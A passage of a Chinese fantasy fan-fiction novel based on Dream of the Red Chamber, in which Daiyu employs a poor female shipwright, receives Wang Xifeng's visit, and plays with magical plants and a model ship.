黛玉正听得有趣，却让林管家打断，她不由追问道：“你知道这么多，难不成去过暹罗和缅甸？”
钱清卓悄悄看了林管家一
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眼，见林管家面色平常，摇了摇头，苦涩道：“我没跟过船，船上不让女人上去，这些事这些都是听我爹和丈夫说的。”
不止船上不让女人出海，就连她一身修船、造船的手艺，在爹去世后，也快无用武之地了。
她力气不比男人小，也肯吃苦，从小跟着她爹在船上玩耍，小时候的玩具就是拼各种各样的船。
可即便她自信自己本事不输男人也没用。爹在的时候，人人都夸她虎父无犬女，爹不在了，就成了女人上船不吉利。
没有人相信一个女人能造好船，再没有人请去修船。
黛玉不知道她在想什么，问道：“林家的船，如今还是你在养护维修吗？”
钱清卓道：“我有跟着去，不过还有其他的人。”
“那依你之见，这四艘船能不能立即下水？”
钱清卓摇头，老实道：“维护船只不是我主导的，我不能跟姑娘保证。要仔细检查一遍才行。”
“原先是谁管着这一块的，”黛玉对林管家道：“让他们同钱夫人一起去检查，查完了让钱夫人来回。”
林管家见黛玉铁了心，也不多劝，让人把还傻愣着的钱清卓带出去，才低声道：“姑娘真要去南方买木头，账面上还能抽出一笔银子，大约有一万两银子。再多的暂时不好动，否则周转不过来。等年底几处庄子田租收上来，大概能腾挪出五六千两。”
主要是家里人少，年节最大的花费就是各家的礼，自家人花得反而不多。
钱，黛玉手上有，黛玉自然不会要账上的。她只说不用，已经准备好了，让林管家先顾着船的事。
-*
钱清卓紧张地等在会安堂外，见林管家出来，赶忙迎上去。
林管家看她一脸焦急，道：“姑娘既然说了，就不会反悔。”
钱清卓抿着嘴，眼中含泪，要给林管家跪下。
林管家抬手拦她，又低喝道：“不要在这里拉扯，当心姑娘看见。”
钱清卓膝盖打着弯，要跪不跪，嘴上一个劲道谢。
林管家叹了口气，又有些不忍，道：“方才不见你在姑娘跟前这般有眼色。”
“随我来吧，别在这里磨蹭了。姑娘预先支了一个月的用度给检修船只的人。你的那份比照着你爹还在世时候的月俸给你，一会儿在账上领了钱就赶紧去请大夫吧。”
“这笔钱虽然不比一次性遣散你们拿到的钱多，但好在细水长流，每个月都有。”
“姑娘不改变主意的话，至少一两年应该是不愁的。”
钱清卓跟在他身后，默默听着他的话。
林管家停下来，敲打她：“你父亲在时，也有些名声。他夸你尽得真传，你便争气些，别打量姑娘年纪小，就糊弄她。到时候船翻了是小，断了自个儿的生计是大。”
钱清卓抬起头，道：“多谢您费心帮我。”她举手发誓，“我若一点糊弄，就让我这辈子再也不能碰船，让龙王爷收了我全家性命。”
这誓言对钱清卓来说，比指着老天爷诚心多了，林管家眉头舒展，轻轻颔首。
68.第 68 章
“钱夫人留步！”
钱清卓和林管家说着家里的事，听到有人叫她，两人一起回头。
青雀小跑到他们跟前站定，一边将一个东西往钱清卓手里塞，一边道：“这是姑娘说给你的，里头是洗面膏，可以敷手敷脸，对你手上的伤有好处。”
钱清卓摩挲手掌，手心粗糙的裂纹刮着皮肤，因为掌心的肌肤布满厚厚的茧，她并不觉得疼。
她早已习惯了手上大大小小的口子。
看着青雀手中精致的瓷罐，钱清卓缩回手，目光不自觉移向林管家。
“姑娘赏你，你收下便是。”林管家道。
钱清卓这才伸手去接，她动作很小心，怕挨到青雀的手指，手上的伤口刮到了她。
眼前的小姑娘和她的女儿差不多大，带着点肉的手掌净白柔软，指甲透着健康的粉色，一看就是养得极好，没做过粗活的。这样的手碰一下都会留下一道红印子，跟她满手的沟沟壑壑形成鲜明对比。
青雀见她接了，背过手，来回看了看两个人，嘻嘻笑着道：“东西送到了，我先回去了，夫人记得用。”
钱清卓注视着她跑远，背影雀跃，像一只快乐的小鸟，不由出了一会神。
“里面的面膏用完了，这个罐子可以卖掉，约莫能值二两银子。”林管家提醒她。
钱清卓回神，手心紧了紧，低低“嗯”了一声。
拿了钱，带着手里被体温焐热的瓷罐，钱清卓去请了大夫。
大夫是她家的老熟人，知道她家里的情况，见她带了不少钱来，试探着问：“要不要换成好药？”
钱清卓点了点头，大夫拿了伤药，亲自到药柜中抓了她舍不得用的名贵药材，想了想，又取了一点参须。
回到绿柳巷，左邻右舍对钱清卓带着大夫回来见怪不怪。
被林管家问过话的人家看见她回来，本想跟她打听打听，一见跟着大夫，又退了回去。
钱清卓走到一扇锁着的木门前，摸出钥匙打开门上的锁，推开门，两人进去后，钱清卓转身把门关上，上了栓。
关了门后，院子里光线都好像暗淡了许多。
这处房子很小，站在门口，院子里一览无余。
左手边是两米见方的杂物房，右边没盖房子，而是搭着棚子，因此也遮挡住了部分光线。
棚子下有一个简易灶台，是平时做饭的地方。灶台旁边有个小炉子，炉子里没有火，上面架着一个罐子，空气中隐约飘着一股苦药味。
棚子旁边，两个木盆中堆着满满的衣服，不大的院子里还栓着两条麻绳，麻绳上晾着半干不干的衣服。
大夫司空见惯，目不斜视地绕过晾衣服的地方，又跨过地上的木墩子和劈到一半的柴火，跟着钱清卓进了正房。
正房同样不大，只有堂屋和左边一个小耳室。耳室没有门，墙上钉了钉子，用碎布拼起的布帘遮挡，里面不时传来轻轻的咳嗽声。堂屋右边另用帘子隔起来，里面似乎摆了一张床，隐隐能看到床上躺着个人。
这样的屋子自然没有什么隐私可言，屋子里虽然打扫得干净，但比外面更浓的药味和一股带难言腥臭的气味混在一起，实在不怎么好闻。
似乎听到外面的动静，耳室里咳嗽的声音一顿，一个稚嫩的女声响起：“娘，是你回来了吗？”
钱清卓道：“是我。”
有脚步声响起，帘子动了动，从里面探出一个头来。
看见她，钱清卓愁苦的脸上也露出一丝笑意，“娘请了大夫，你先等一会儿，等大夫给你爹看完就可以给你看了。”
大夫提着药箱，也不需钱清卓指引，自去右边隔出来的“房间”给另一个伤员看病。
没了大夫的身影，耳室里的小女孩钻出来。她皮肤也有些糙，长相却很秀丽，跟钱清卓一点也不像。但细看之下，两人的五官有几分相似。要是钱清卓再白一些，年轻一些，也是个美人。
不过小女孩整个人很瘦，脸色十分苍白，一看就是身体不好。
她走了两步，又咳嗽起来，钱清卓给她倒了杯清水，见水一点热气也没有，又放下不让她喝，只是拍了拍她的背，“先忍一忍，娘一会儿去烧水。”
小女孩按住她的手，仰头道：“娘，先给爹治腿伤吧，我的身体不要紧，罐子里的药再熬一熬也可以喝。”
钱清卓望着女儿稚嫩的脸，听着她懂事的话，一时不知该心酸还是心疼。
她小时候其实是过过好日子的。那会儿她爹给林家干活，主家大方，她爹手艺又好，月俸自然也高。
他爹不是吝啬的，因此从小家里不能说让她顿顿吃肉，隔一两天，饭桌上也能见到荤腥。
衣服一年四季也都有新的，首饰该有的她也有。
林管家说瓷罐值钱，她是知道的，她能看出来。
从前她也有洗面膏和胭脂花粉。
但后来爹病了，家里收入便少了，后来女儿出生身体不好，常需要吃药，家里从前攒下的钱流水一样花出去，日子就难过起来。
再之后，爹去世了，林家给的钱就没了爹那一份。为了维持生计和给女儿看病，丈夫出去给人搬货，她没什么别的手艺，只能找了个给人洗衣服的活干。
半个月前，丈夫搬货时被倒下的货物砸断了腿，东家不管他死活，让人把他抬回来就甩手走了。
家里没有壮劳力，她不敢去闹，只能忍下。
可一下子多了一个伤患，本就不富裕的家更是雪上加霜。
几乎走投无路之时，她听别人说林家好像有主子回京了，老宅常有人进出。
丈夫和女儿都等着救命，能借的都借过了，她别无它法，抱着试一试的心态去林家准备求人。她守了几天，终于见到了一个熟人。
好在老管家还记得她，也肯帮她。
钱清卓抬手用没有龟裂的手背轻轻蹭了蹭女儿的脸，道：“没事，你不用担心，娘有钱了。”
“还记得娘跟你说去求一个姓林的爷爷吗？林爷爷帮娘在他的主家面前美言了几句，主家人很好，给了娘一个新的差事，是去修船呢！主家还提前支了一个月月钱，这些钱够给你爹治腿再给你买药了。咱们以后都不用愁了。”
她把怀里的瓷罐掏出来，“你看，主家还赏了东西，是抹脸和手的，以后你洗完手和脸，就涂上，冬天的时候皮肤就不会裂开了。”
女儿出生的时候钱家就不如以前了，长到这么大，也没用过面膏。
女孩一听，却把瓷罐推回来，“我不要，娘你用。以后不用洗衣服了，
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娘好好养一养手。”
钱清卓还欲说话，旁边的帘子掀开，大夫出来道：“他的伤口不太好，得重新拆开把溃烂的地方挖掉，你给我搭把手，把人按住，免得他疼起来乱蹬把接好的骨头又弄断了。”
钱清卓忙应了一声，对女儿道：“你先回房去。”
叮嘱了一声，她跟着大夫进去，又细心把帘子拉好，不让女儿看见不好的画面。
女孩听话地回到耳室，片刻后，就听到惨叫传来，几声之后，叫声被堵住，变成了闷哼。
她在耳室呆不住，索性起身出了屋子，走到院子里，熟练给灶台生上火，又点了炉子，两边都烧上水。炉子上的用来喝，锅里的一会儿要给爹擦洗身上和伤口。
做完这些以后，她又去把干掉的衣服收起来叠好，这样娘就能轻省一些。
可惜她做不了力气活，洗衣服劈柴都帮不上忙。
-*
钱家忙碌的时候，黛玉也从青雀口中知道了钱清卓跟林管家的关系。她跑去送面膏，把两人之间的话听了个七七八八。
“难怪管家拐弯抹角。”何嬷嬷道：“光是要钱，管家自己就能接济她，只是她家的情况，不是一锤子买卖，救得了急却救不了穷，得有长久的收入来源才行。”
如今养家的重担都落在钱清卓一个妇人身上，也委实不易，怪不得她比同龄人老许多。
黛玉道：“不知道钱夫人家里人生的是什么病？”
“要长期看大夫吃药，大约是体弱引起的。”何嬷嬷猜测，“这样的，得富贵人家才养的起。”
黛玉有些感同身受，她对钱清卓印象不错，便想帮帮她。
她把自己的想法对何嬷嬷说了，何嬷嬷道：“姑娘先看看，等她差使做完了，要是做的好，姑娘或是帮她请更好的大夫，或是直接给赏钱都行，这两样最实在。”
黛玉点点头，只等下次钱清卓来时再说。说完这件事，黛玉又惦记起什么时候能去园子一趟。
不知道是因为林管家忙，还是别的原因，几天过去，觊觎她园子的人好像没找上门，余楚微那儿也暂时没有消息，问白鹤姐姐说是还在还探听，黛玉也不好催促。
-*
隔天，黛玉在学做胭脂和香料。
她一直在练习隔空取物，效果喜人，同时对自身灵力的掌控力也大幅度提升。
摸索中，她学会了控制植物的枯荣。
最明显的效果就是她可以自由控制普通植物的生长，从发芽到开花结果，想长到什么程度都随她心意。
昨日她心血来潮种了一棵荔枝，长成的荔枝树跟她差不多高，一口气结了百来个果。果肉软糯清甜，汁水丰盈，她摘了果子和青雀等人分吃了一半，剩下的让白妈妈做成荔枝煎。
剥下的荔枝壳不方便扔，壳上又带着一股清香，黛玉便想到荔枝香，准备自己试着做一做。
东西都备齐了，好不容易磕磕绊绊烘干荔枝壳的水分，正打算将其磨成粉，有丫鬟来报，说是贾家来了人，如今在前厅等着。
“是谁？”
丫鬟道：“说是琏二奶奶。”
黛玉立刻放下手头的事，道：“怎么把人拦在那里，还不快请进来！”
“等等！我跟你一起去。”
69.第 69 章
凤姐在前厅不紧不慢吃茶果。黛玉见了她，先笑着赔罪：“都是底下人不懂事，二嫂子亲自登门，还让她们拦在这里！”
凤姐擦了擦手，拉着黛玉笑道：“她们有她们的规矩，是我事先没有知会一声。”
“二嫂子这话便生分了。”黛玉道，又问老太太还有姐妹们最近可好。
“都好，只是她们都惦记着你。”
黛玉笑容微淡，道：“我也想念老太太她们。”
不等凤姐借坡下驴，提让她回贾府的话，黛玉率先截住话头，问：“二嫂子手怎么这么凉？”
凤姐今日穿着一件大红缂丝五彩银鼠皮袄，外罩石青江绸撒花绵褂，头上勒着双凤衔石榴纹串珠抹额。
虽然最近天气转凉的，但凤姐穿得还是多了一些。黛玉如今都只穿单褂，再罩一件厚些的背心。
平儿笑道：“说起来还要多些林姑娘和芙蓉。林姑娘送了一尊观音，我们奶奶就查出有了身子。因着有些不好，养了一阵子，现下好了许多，却多了个怕冷的毛病。这不，别人还觉得热的时候，奶奶拾掇拾掇，夹袄都穿上了。”
“这要是到了下雪的时候，还不知要裹多少衣服在身上呢！”
黛玉目光不自觉落在凤姐平坦的肚子上，先是惊讶随后面露喜色：“恭喜嫂子！嫂子怎么不跟丫鬟们说一声，既怕冷，便让她们拿垫子垫着才是。”
又要扶她坐下。
凤姐微微撇过身，避过她的搀扶，搭着平儿道：“你别忙，当心把你压着。凳子上也不冷，哪里就这么娇气。”
话虽这么说，却还是顺着黛玉，被让到椅子上。
刚才黛玉已经表明了态度，凤姐心知她多半会是不愿意回去。
反正老太太打发她过来，也没打算一次成事。只是表明老太太还惦记着孙女，不是人一走就不管不问了。
这次不行，还有下次，凤姐做好了三顾茅庐的准备，因此落座后也不提别的，就跟黛玉闲话，问问她的日常，又说一说贾家的事。
两人说了小半个时辰便住了话头，凤姐留下吃过一顿晚饭，歇了歇，就要起身告辞。
黛玉请她稍等，让芙蓉去取东西来。
凤姐还没显怀，但她是双身子，精力终归较以前差一些，一直坐着有些累了，便歪靠着身子笑道：“我这一上门，妹妹就让我连吃带拿的，回头见了老太太，还道这是从哪里打完秋风的破落户？”
平儿作势要把凤姐扶起来，道：“那奶奶还不快走？待会儿接了东西，就说不清了。”
黛玉跟着打趣道：“嫂子不必躲，你放心，我可没有好东西给你。”
不多时，芙蓉回来，捧着两个棕色小瓮。黛玉道：“我前些日子得了几瓶荔枝煎，这里两瓮，一瓮嫂子带回去替我孝敬老太太。”
“那另一瓮不就是我的？”凤姐做出一副馋样。
黛玉偏要反驳她：“可不是给嫂子的，我是给我侄儿的。”
凤姐笑道：“那不还是我的。我这个做娘的吃到了，他才能吃到不是？”
黛玉哼了一声，才想到似的，叹气道：“罢了，谁让侄儿还在嫂子肚子里，只得便宜嫂子了。”
凤姐低头摸着肚子道：“万幸是托了你的福，娘也是成功打到秋风了，可算在你林姑姑这里混到口吃的。”
堂下众人皆笑了起来。
黛玉笑得不行，缓过气来道：“我看嫂子馋得很。平儿，你可要多看顾点嫂子，免得她贪嘴上火。”
“哎！”平儿响亮地应了一声。
凤姐道：“你是站哪头的？”
“自然是有理的那一头。”
又笑了一会儿，天色不早，凤姐方才让人拿上东西，出门登车。
“姑娘打算什么时候回去？”送走凤姐，回屋后，何嬷嬷问黛玉。
黛玉磨着荔枝壳，闻言道：“再过一段日子吧，年前再回那边。”
她最多也只能在这里呆到腊八，之后是一定要回贾家的。
何嬷嬷听她有成算，没再说话，一时间屋里只剩石杵的研磨声。
“姑娘，磨好了。”
不知过了多久，青雀抱着石臼过来，给黛玉看自己帮忙磨好的粉。
黛玉放下手头的事，侧头往她手中看，“这么快？你磨的是哪样？”
石臼里满满当当，黛玉疑惑地用杵子推开粉末，发现里面黄的白的紫的都有，分不出是哪一种配香料的粉。
青雀挠了挠头，道：“姑娘不是让我磨橙皮、梨皮和甘蔗吗？”
黛玉张了张嘴：“你把它们混在一起了？”
“对呀。”青雀理直气壮点头。
黛玉一下子啼笑皆非：“这些都是要分开，单独磨才行。”
更让黛玉匪夷所思的是：“粉都堆得这么厚了，你也能磨得动？”
“我力气大。”青雀道：“为什么要分开？反正最后不是都要混到一起的吗？”她还省了那一步。
黛玉道：“制香是有配比的，每一种香料要加多少需要斟酌。你这样混着，不知道那样东西的香味能显出来，算是白费力气。”
“那我重新磨。”青雀道。她有的是力气，不怕。
芙蓉道：“甘蔗滓和梨皮都没了，你还能磨什么？”
“不是还有橙皮吗？别的明天再去买就是了。”青雀道。
芙蓉轻笑一声，道：“我突然想起来一个法子，不必再买，太浪费了。这些也不是不能用。”
青雀身上无端发寒，突然有一种不祥的预感，“什么法子？”
只见芙蓉取了一块细纱，把桌上的花觚瓶、玉磬等摆件都捡到一边，然后铺开细纱，将石臼中的粉末全部倒出来用推子摊平，方道：“你不是一直在练习隔空取物吗？正好试试，能不能把这些粉末按颜色分开。”
青雀看着被芙蓉推完，摊开后混得更均匀的三种粉末，呆呆地“啊？”了一声。
“别啊了，动手吧。”芙蓉微笑道：“对你来说应该不困难。鸟儿的眼睛比人更敏锐，分辨颜色更容易。”
“能看出不同，把它们分开就不难。你练了这么久，按理也该有长进，再轻的东西也不难控制。我也不逼你把它们全部分开。这样，到明天早上，你能分出二分之一的话，上次打碎茶盏的钱，我帮你补上一半。”
“不反对的话就当你同意了。”
青雀两眼冒圈，魂都快没了，压根没听清芙蓉的话，哪里还记得反驳，
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稀里糊涂就被迫答应了芙蓉的提议。
反应过来后，她眼巴巴看着黛玉，试图向她求救。黛玉犹豫了一下，开口道：“东西也不贵，再买——”
芙蓉打断她：“姑娘要不要跟青雀一起试试，也验证一下这段日子所得。”
黛玉顿时住口，同情地看了青雀一眼，忙道：“不了，我再去翻翻古籍，还有好多花瓣，我找找有什么特别的制胭脂的法子。”
语无伦次说完，黛玉在芙蓉的注视下往后退，大气都不敢喘一下，生怕发出丁点动静，芙蓉就叫住她，让她去分另一半。
直到避开芙蓉的视线，她才喘了口气，提着群摆蹑手蹑脚出了房间。
“姑娘这是干什么？怎么跟做贼似的。”何嬷嬷看见她缩手缩脚出来，好笑地问。
“嘘！”黛玉连忙朝她比了个手势，拉着她离开。
-*
半夜，黛玉从睡梦中醒来，往旁边看了一眼，青雀不在，她掀开被子坐起来，把床帐拉开一条缝，仔细观察外面。
何嬷嬷静静靠在贵妃塌上，没有醒来的样子。
黛玉放下心来，下了床披上衣服，一边回头观察，一边轻手轻脚往外走。
经过花几，绕过屏风，大门就在眼前。
突然，有人拍了拍她右边的肩膀，黛玉心猛地一跳，连忙握着拳头抵住嘴，才没叫出来。
她咬着手指回身往后看，何嬷嬷还在贵妃塌上。
那刚刚是谁拍她？
刚想着，左边肩膀又被拍了一下，黛玉眼疾手快一把抓住那只手，湿哒哒的触感有些黏腻和刮手。
她眯起眼低头一看，手里的东西顺势缠到她腕上。黛玉拉了拉，它不肯松开，还缠得更紧了一些。
黛玉怕把屏风带倒，只得又挪回花几前，对着花盆比划。花盆中的两片嫩叶晃来晃去，也不知懂没懂她的意思，就是不松开。
黛玉有些急了，又不能说话。半晌后，她妥协地拍了拍盆里的土，比划道：‘你出来，抱着花盆不方便。’
下一秒，嫩芽从花盆里拔出来。一端颤巍巍系在黛玉手腕上，其他张牙舞爪的根须合拢，从上而下一股一股互相缠绕，最后扭成一跟有些膨胀的“萝卜”。
不过这下“萝卜”头重脚轻，吧唧一下往后倒。
黛玉连忙握着“萝卜”中间的地方把它扶住，随后又回头看了眼，见何嬷嬷还是没醒，她嘘了口气，端着“萝卜”走到门边，一点点拉开门缝，侧身溜了出去。
屋内，何嬷嬷翻过身，睁开眼睛，笑了一声，道：“我就说姑娘无缘无故怎么非让我跟你换个班。”
芙蓉推开没关严的门走进来，“姑娘想帮青雀，我又不会拦着她，何必半夜偷偷摸摸。”
何嬷嬷笑道：“你罚青雀的时候看上去比较可怕，姑娘被惊到了。她私底下还跟我说终于知道青雀为什么怕你了，一时半会儿大概是不想你出现在她面前。”
芙蓉：“......”
“我不是罚青雀，那确实是一个验证她学习成果的好方法。”
“是是是，你说的对。”何嬷嬷附和道：“就是自愿和被逼的心情是不一样的罢了。”
芙蓉：“......”
70.第 70 章
早上芙蓉再来找青雀时，看到的就是房中一片凌乱景象。
一晚过去，满屋子都弥漫着一股果香，两颗果树枝桠交错，稀疏的树叶挡不住还挂在枝头的果子。甜橙和香梨滚得满地都是。
不用问，肯定是姑娘想帮青雀作弊，临时种出来的。
但这里却没有甘蔗，因为甘蔗是没有种子的，没办法种。
芙蓉摇摇头，用兜子把橙、梨都装起来，拎着兜子，再往里看，黛玉和青雀头挨着头互相支撑着靠在一起，睡得很熟。
两人手上和衣服上都沾着黄色的汁水，大概是剥橙皮时染的。
洗漱用的铜盆摆在桌角，里面满满堆着捣烂的橙肉和梨肉，一株小苗扎在里面，一动不动，也不嫌邋遢。
芙蓉挑眉，小苗抖动了一下，又立刻僵住。
另一角，棕紫白黄四堆香粉堆成小尖角盛在临时拿出来的攒盘中，泾渭分明。
细纱上干干净净。
芙蓉挑了一点香粉撵在指尖查看。
“嗝！”
睡梦中青雀打了个嗝，身体一抖，清醒过来。迷迷糊糊中看到芙蓉似笑非笑的脸，她一激灵，又打了个嗝。
连续的抖动将黛玉也震醒了，她掩口打着哈欠问：“天亮了吗？”
芙蓉：“亮了。”
“哦，那我该回去了......”说到一半，黛玉意识到什么，顿时止住了要说的话。
她微微侧头，瞥到芙蓉，脸颊泛红，“芙蓉姐姐，你今天起这么早？”
芙蓉笑了声，意味深长道：“姑娘是第一次知道我这么早起？”
“嗝！”青雀似乎被吓到，又连打了几个嗝，芙蓉转过头，“你昨晚是吃了多少橙梨？”
青雀捂住嘴，摇头，一副‘我不明白你在说什么’的样子。
黛玉：“......”
她顶了顶青雀的腰，小声道：“别装了。”吃得太多，打嗝都是橙子味。
青雀终于忍不住，蹦起来往外跑，黛玉伸手拉她，却没拉住。
这一天，青雀因为晚上吃了太多橙子和梨，二者都是寒性水果，铁打的肠胃也受不住，狠狠吐了一回。
等到再用饭时，她只能哀怨地喝米粥，就算白妈妈能把一碗粥熬出花来，也改变不了它没滋没味的事实。
青雀眼巴巴看着其他人的饭菜，口水都要流出二里地去。
为了攒果皮，黛玉也吃了些橙和梨，但不如青雀不知节制，没有感觉太难受。何嬷嬷还是怕她脾胃不和，也让白妈妈给她准备的清淡养胃的膳食。
不一样的食物，同样的没多少滋味，黛玉只好对青雀表示自己爱莫能助。
何嬷嬷恨铁不成钢地戳着青雀的额头，“府里也没短你吃穿，就这么馋？”
青雀不敢反驳。她不是馋，主要是想毁尸灭迹。这不是没毁成嘛。
芙蓉放下筷子，问：“剩下橙子和梨，姑娘打算怎么办？”
她一边说，一边瞥向还扎在果肉中的幼苗。
幼苗：“？”什么意思？还想喂给它？
它从铜盆里爬出来，抖干净根上沾的果肉，扯着布头擦干须上果子汁水，然后捉着花几腿一步一步怕上去，重新扎进花盆里。
“它还是更喜欢土，不想吃那些果肉了。”青雀替它翻译。
幼苗叶子颤抖，好似点头。偶尔换下口味可以，但吃多了它也嫌弃。昨天晚上它也帮忙分担了好多果肉，短时间不想再碰这两样东西。
何嬷嬷道：“梨子就熬梨膏吧，正好秋燥，梨膏润肺止咳。”
“橙子......”
“做蟹酿橙。”黛玉道。
青雀“吸溜”了一口粥水。
何嬷嬷无奈道：“我的好姑娘，还嫌不够凉的？”
“况且这个时节公蟹和母蟹都不是最肥美的时候，要是想吃，再等上半个月，那时候膏黄才是最丰腴的。”
黛玉看了眼青雀，点头，“依嬷嬷。”
最后一兜子谁都不想吃的甜橙熬了果酱。
梨膏和果酱总共得了五罐子，黛玉和青雀吃鲜果吃伤了，不爱这两样。
黛玉便将梨膏赏了林管家。
林管家离开京城好多年，如今重新回来，早就不适应北方干燥的气候，这两天嗓子发疼，也偶有咳嗽。
他得了赏，十分感激，眼中都泛起了泪花，有一种林家后继有人的欣慰。
激动过后，他擦了擦眼角，道：“清、钱清卓昨日来了一趟，带了样东西送给姑娘。”
黛玉道：“怎么没让她来见我？”
林管家道：“她说要去津沽，家里还有东西要收拾东西，就不叨扰姑娘了。”
林管家又解释林家的船是停在津沽的，得到那边才能见到船。
“她走了，家里人怎么办？”
林管家道：“多亏了姑娘支的月钱，她丈夫已经能杵着拐杖下地了，照看家里没问题。”
况且，以前她家男人倒了，眼见快只剩孤儿寡母了，在别人眼里就是好欺负的对象。但现在，她男人能动了，多少也有点威慑力。而钱清卓两次来林府，摆明了是为林家办事，有点眼色的人都不会再主动欺到他们头上。
林管家不欲说更多，住了话，给黛玉呈上钱清卓送的东西。
那是一艘尺余长的小船，翘头宽尾，船头刻着螭兽，摆在托架上。
船底略尖，往上两翼宽阔，甲板宽大，三杆耸立，挂着风帆，最高的帆上有一只涂成赤色的风向标。
甲板上一应东西俱全，就像真船在眼前一般。
黛玉摸了摸船身，木头打磨得十分光滑，看得出来是用心了的。这些木头还有一股生木味道，也没上漆，怕是才赶工出来的。
林管家道：“这是钱清卓根据咱们家最大的那艘船复刻的模型。虽是模型，但据她说，下水行驶也没问题。”
“哦？”黛玉眼睛亮了一下。她见过木船摆件，但那些摆件并不能入水。
林管家见状笑道：“需得有风才行。不过她说手头东西有限，用的木头不是好木，不怎么防水，泡久了容易坏。”
黛玉道：“无妨。”
她现在就想试试这船。
家里花园就有池子，黛玉抱着船，打发了下人，迫不及待将小船放入池中。船身晃了晃，慢悠悠立在水面上。
这池子里引的是外面的活水，但只有一个小水口让活水流进来，水流不急，并不足以带动船只。
黛玉仰头看芙蓉。
芙蓉还未说话，青雀道：“我来我来！我会驭风！”
何嬷嬷道：“你别把船掀到池子里才是。”
青雀打包票：“肯定不会，我能控制好，芙蓉姐姐可以替我作证。”
芙蓉想到她和姑娘一起辛苦分完的香粉，微微点了点头。
有了芙蓉的首肯，青雀顿
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时摩拳擦掌。她先谨慎送出一阵小风，风卷到黛玉的裙角，黛玉跳起来踩了两下，道：“往池子里，往池子里。”
青雀依言，池水咕噜噜荡起水波，把木船往前面推了一点，又不动了。
何嬷嬷到：“不要吹池水，应该吹帆。”
她看木船两侧是有四四方方的小口，内里应该是有船桨的，但小船上又没有水手，自然没办法划船。
因此只能靠水流或者风帆带动。
青雀照着她的话吹动风帆，许是风太小，帆压根不动。她暗暗加大了灵力。
“呼~”
木船上三只帆一下鼓满，缆绳崩紧。木船破开水面，几息之间就驶到对岸，眼看要撞到岸边，青雀连忙调□□向，但船上无人拉缆绳调整帆，根本改变不了船的方向。
好在风向变了，帆也没了那么满，晃晃悠悠算是平安靠岸。
黛玉到对岸把船捞起来，青雀性质缺缺收回手道：“它不灵活。”
何嬷嬷道：“无人掌舵，也只能如此了。不过能做到这般，钱夫人也技艺不凡，一定是对船只有十分的了解。”
黛玉抱着船回来，听到何嬷嬷的话，沉思片刻，道：“虽然船小，但不是没人能掌舵。”
“嗯？还有这么小的人？”何嬷嬷笑道。
“有。”黛玉回屋，不一会举着耷拉着根须的幼苗回来。
就算没有脸，何嬷嬷都能感觉到它的茫然。
黛玉把它放到船上，没了托架支撑的船顿时一歪，幼苗赶忙伸出根须扎进土里抵住船身。
何嬷嬷愣了愣，抚掌笑道：“它确实合适，但它会掌舵么？”
事实证明，它不会，但它很聪明，能学。
在几次歪七扭八，船舱进水，差点沉船之后，它总算得心应手起来。
何嬷嬷看到船底的出水孔在往外排渗进去的水，不由赞叹，“钱夫人连这个都想到了，真就和真船一模一样。”
在船上当了一会儿掌迁手，幼苗不仅学会了根据风向调整帆的方向，它还无师自通了划桨。
只见它立在船中央，一边拉着缆绳，余下根须分成数股，从四面八方伸入船舱，叮铃哐啷一阵，船舷两侧的八个仓口就被打开，从里面伸出木质船桨。
根须缠着船桨，它一拉缆绳，船帆侧过来，避开了风。青雀送去的风吹不起帆，但船依旧在动。
幼苗指挥着根须卖力摇着船桨，木船在水中从这头驶到那头，不亦乐乎。
该说不说，这一幕其实有点诡异。要是有旁人见到了，大概会觉得木船里面有鬼。
但岸边的几个人都不以为意，青雀还有些生气。
本来是她在玩的，姑娘在一边看，现在却被幼苗夺了船的控权。她“哼”了一声，眼珠子一转，掉了个方向，控制着池水卷起大浪，扑向船头。
黛玉“呀”了一声，就见浪头砸下，木船被水从头淋到尾，没又翻，却被推出老远。
黛玉叫了青雀一声，刚想说她，不想被冲到池子中央的船又划回来，船头调转，静静对着青雀。
然后船桨敲打着船身。
“它是......想再来一次？”黛玉猜测道。
青雀毫不犹豫再次送上一阵大风，吹起满塘池水。池中波涛浪涌，木船在浪头颠簸，左冲右突，搏击风暴。
一个水塘，一艘模船，愣是让一人一苗玩出了海上船只直面风暴的凶险之感。
71.第 71 章
经过幼苗和青雀的折腾，木船当天就坏掉了。倒是没散架，就是开始漏水，船底出水孔排水的速度跟不上进水的速度，一个劲往水底沉。
玩疯了的一人一苗面对四处漏水的船都有些心虚。黛玉倒没有责怪她们，她自己看得也很开心。
收起不堪重负的船，黛玉叫来林管家，把剩下的两罐子果酱并二十两银子一道赏给钱清卓，又叫林管家取了截柚木和造船所需的东西给她，让她再做两艘模船送来。
“让她无需赶工，从津沽回来再做也不迟，年后送来也使得。”
林管家领命，亲自带着东西去了一趟钱清卓家。
钱清卓将林管家迎进来后迅速关上大门，阻隔周围窥伺的目光。
林管家来时，钱清卓和丈夫在一起做木门，女儿在一边帮忙。
得知林管家的来意，钱清卓的丈夫放下刨子，有些局促，挣扎要站起来。
“你腿脚不便，坐着就好。”林管家制止他。有些木讷的男人又不安地坐回去。
钱清卓给林管家搬了个小墩子，请他在院子里坐下，不好意思道：“正房乱，没地方，只能委屈您这里坐。”
家里有了喘息之机，夫妻俩打算把女儿耳室的布帘换成结实点的门。他们暂时还没能力搬到更好点的地方，夫妻俩一直住在堂屋不是个事，女儿大了更不方便。
两人一合计，便想把院子左边那个小厢房收拾出来，夫妻俩以后就住那里，所以现在正房里也是乱糟糟的。
林管家摇头，曲腿坐下，四处打量了一圈。
比起上次来，钱家空旷了很多，柴火整齐码在房檐下，棚子边的麻绳拆掉了，乱七八糟堆着的衣服也不见了，看来是没有再接洗衣的活计。
看完，林管家把带的东西往前推了推。
钱清卓搓了搓手，没接：“就是个小玩意，哪里值得小姐厚赏，小姐喜欢，我再做就是了。”
林管家笑了笑，道：“姑娘玩了一下午，木船就漏水了，她想要更精细耐用的，赏你钱也是为了让你更用心些。”
钱清卓有些迷惑，她做的木船虽然因为时间的关系没有来得及再阴干刷桐油，但不至于一天就漏水才对。
难道是自己年纪大了，手艺退步了？钱清卓一瞬间有些自我怀疑。
“我不知道做木船要用到什么，准备的这些东西有不齐全的，你记下来，之后送船的时候再报给我，我给你补上花费。”
林管家还有事忙，也不多废话，从袖中又拿出一个小盒子递给钱清卓，“这个你也收下，是我的一点心意，给雪映入药用。”
钱雪映抿着没多少血色的唇，小心看向母亲。
钱清卓不肯要，林管家不跟她推让，把盒子跟送来的东西放到一起，站起来道：“我也不多留了。我知会过门房了，家里要是有事，只管让人去林家寻我。”
钱清卓忙留道：“您喝杯茶再走吧。”
“不了。”林管家拒绝。
钱清卓只好把人送到门外，左邻右舍都探头探脑朝这边看，见人出来，又纷纷移开目光。
